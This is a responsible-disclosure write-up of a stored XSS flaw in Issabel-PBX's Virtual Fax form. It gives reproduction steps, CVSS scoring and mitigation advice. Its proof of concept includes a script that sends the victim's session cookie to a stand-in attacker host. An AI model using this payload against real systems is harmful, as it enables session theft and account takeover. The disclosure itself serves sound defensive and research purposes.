
A Stored Cross-Site Scripting (XSS) vulnerability exists in Issabel-PBX version 4.0.0-6. The application fails to properly sanitize and encode user-supplied input before storing it in the database and subsequently rendering it in the web interface.
| Field | Details |
|---|---|
| CVE ID | CVE-2023-37190 |
| Vulnerability | Stored Cross-Site Scripting (XSS) |
| Affected Product | Issabel-PBX |
| Affected Version | 4.0.0-6 |
| Severity | Medium (CVSS v3.1 Score: 5.4) |
| Discovered By | Sahil Ojha |
| Disclosure Date | 07 July 2023 |
| Vendor | Issabel |
| Source Code | IssabelFoundation/issabelPBX |
| Tested On | Windows |
A Stored Cross-Site Scripting (XSS) vulnerability exists in Issabel-PBX version 4.0.0-6. The application fails to properly sanitize and encode user-supplied input before storing it in the database and subsequently rendering it in the web interface.
The vulnerability is present in the Virtual Fax module, specifically in the "New Virtual Fax" creation form. Two input parameters — Virtual Fax Name and Caller ID Name — do not undergo adequate input validation or output encoding. This allows a low-privileged authenticated attacker to inject and permanently store a malicious JavaScript payload within the application.
Once stored, the malicious script is automatically executed in the browser of any user (including administrators) who visits the affected page, without any additional interaction required from the attacker.
An attacker who successfully exploits this vulnerability can:
Because the payload is stored (persistent), it affects every user who visits the vulnerable page until it is removed — making this more severe than a reflected XSS.
Virtual Fax NameCaller ID NameStep 1: Log in to the Issabel-PBX web application using valid credentials.
Step 2: Navigate to Fax → Virtual Fax → New Virtual Fax.
Inject the following XSS payload into the Virtual Fax Name and/or Caller ID Name fields:
<script>alert('XSS-CVE-2023-37190')</script>
For a more impactful proof-of-concept demonstrating session cookie theft (note: in real attacks, HTTPS is used to avoid exposing stolen cookies in transit):
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
The filled-in form with the injected payload should look similar to the screenshot below:

Step 3: Click the Save button to submit the form. The payload is now persistently stored in the application database.
Step 4: Navigate to the Virtual Fax listing page (or have another user — such as an administrator — visit the page). The stored script will execute automatically in the visitor's browser, as shown below:

Issabel-PBX users and administrators are strongly advised to apply the following measures:
<, >, ", ', &).Content-Security-Policy HTTP header to limit the sources from which scripts can be executed, reducing the impact of XSS vulnerabilities.Sahil Ojha
Security Researcher
GitHub: @sahiloj
Disclaimer: This repository is intended for educational and responsible disclosure purposes only. The information provided here should not be used to attack systems without explicit written permission from the system owner. The author is not responsible for any misuse of this information.
| Metric | Value |
|---|
| Base Score | 5.4 (Medium) |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | Low |
| User Interaction | Required |
| Scope | Changed |
| Confidentiality | Low |
| Integrity | Low |
| Availability | None |